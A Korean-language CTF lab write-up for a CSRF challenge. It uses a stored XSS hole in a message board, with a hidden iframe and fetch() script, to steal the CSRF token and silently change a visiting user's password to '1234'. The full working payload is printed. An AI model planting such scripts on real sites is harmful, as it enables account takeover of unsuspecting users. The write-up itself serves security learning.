1 분 소요

문제

  • 계정의 비밀번호를 바꿔야하는 문제이다.
    Pasted image 20230525174119

분석및 취약점 찾기

로그인

  • 오직 POST 요청으로 만 로그인 시도가 가능하다.
  • 로그인에 성공하면 index.php로 리다이렉션 응답이 온다.
    Pasted image 20230525174428

게시판

  • 제목과 본문에 XSS 취약점이 존재한다. 취약점 유형은 Stored XSS 이다.
  • 제목
    Pasted image 20230525174620
    Pasted image 20230525174637
  • 본문
    Pasted image 20230525174704
    Pasted image 20230525174720

비밀번호 변경 요청

  • 비밀번호 변경 요청을 보내기 위해서는 서버에서 제공한 csrf 토큰 값이 필요하다.
  • 비밀번호 변경 POST 요청을 보낼때 csrf 토큰 값도 같이 전송된다.
  • csrf 토큰 값은 마이페이지에 방문하였을 때 서버에서 할당해주는 값이다.
    Pasted image 20230525175632 ![[Pasted image 20230525175632.png]]
  • burp suite의 리피터 기능으로 referer 값을 변경하여 전송해 보았는데 비밀번호가 잘 변경되었다. 즉 referer 검사 기능은 없는것 같다.
  • 정상적인 referer
    Pasted image 20230525181508
    Pasted image 20230525181518
  • referer 변경
    Pasted image 20230525181718
    Pasted image 20230525181518
  • 비밀번호 변경이 완료되면 index.php로 이동한다.

비밀번호 변경 시나리오

  1. 공격자는 비밀번호 변경 요청 스크립트를 넣은 게시글을 작성한다.
  2. 사용자가 공격자 게시글을 방문하면 사용자 브라우저에서 악성 스크립트가 실행되어 비밀번호가 자동으로 변경된다.
  3. 사용자는 비밀번호가 변경되었다는 사실을 다시 로그인 하기 전 까지는 알 수가 없다.

공격 스크립트

CSRF Token 얻기

  • 마이페이지에서 csrf 토큰을 가져와야한다.
  • iframe 태그를 이용하여 csrf 토큰을 가지고오자.
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" onload="load()"></iframe>
<script>
function load(){
	var token = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByName("csrf_token")[0].value;
	alert(token);
}
</script>

비밀번호 변경 요청 보내기

  • iframe로 얻은 csrf 토큰 값을 변경할 비밀번호와 같이 보내준다.
  • fetch를 이용하여 POST 요청을 보내준다.
fetch("mypage_update.php", {
method:"POST",
	headers: {
		"Content-Type": "application/x-www-form-urlencoded"
	},
	body: "id=&info=&pw="+pw+"&csrf_token="+token
}).then(res => console.log(res.text()));

최종 공격 스크립트

  • iframe을 통해 마이페이지를 가장 먼저 로딩해야 한다.
  • csrf토큰을 가져온다.
  • fetch 함수를 이용하여 비밀번호 변경 POST 요청을 보낸다.
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" onload="load()"></iframe>
<script>
function load(){
	var pw = "1234";
	var token = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByName("csrf_token")[0].value;
	fetch("mypage_update.php", {
	method:"POST",
		headers: {
			"Content-Type": "application/x-www-form-urlencoded"
		},
		body: "id=&info=&pw="+pw+"&csrf_token="+token
	}).then(res => console.log(res.text()));
}
</script>

공격 시작

  1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.
    Pasted image 20230525190354
  2. 게시글 저장 확인
    Pasted image 20230525190423
  3. 사용자가 게시글을 방문하면 악성 스크립트가 실행되어 사용자의 비밀번호를 “1234”로 변경한다.
  4. Burp Suite로 확인하였을 때 POST 요청이 잘 되었다는 것을 확인할 수 있다.
    Pasted image 20230525190829
    Pasted image 20230525190845

결론

  • csrf 공격을 예방하기 위하여 서버에서는 csrf 토큰을 사용하였지만 서버의 xss 취약점과 iframe 태그를 이용하여 csrf 토큰 방어법을 우회하였다.
  • fetch 함수를 통해 POST 전송을 보다 쉽게할 수 있었다.
    Pasted image 20230525190729
  • 사용자는 정상적으로 게시글을 확인하였다고 느낀다.
    Pasted image 20230525191153

태그: ,

업데이트:

댓글남기기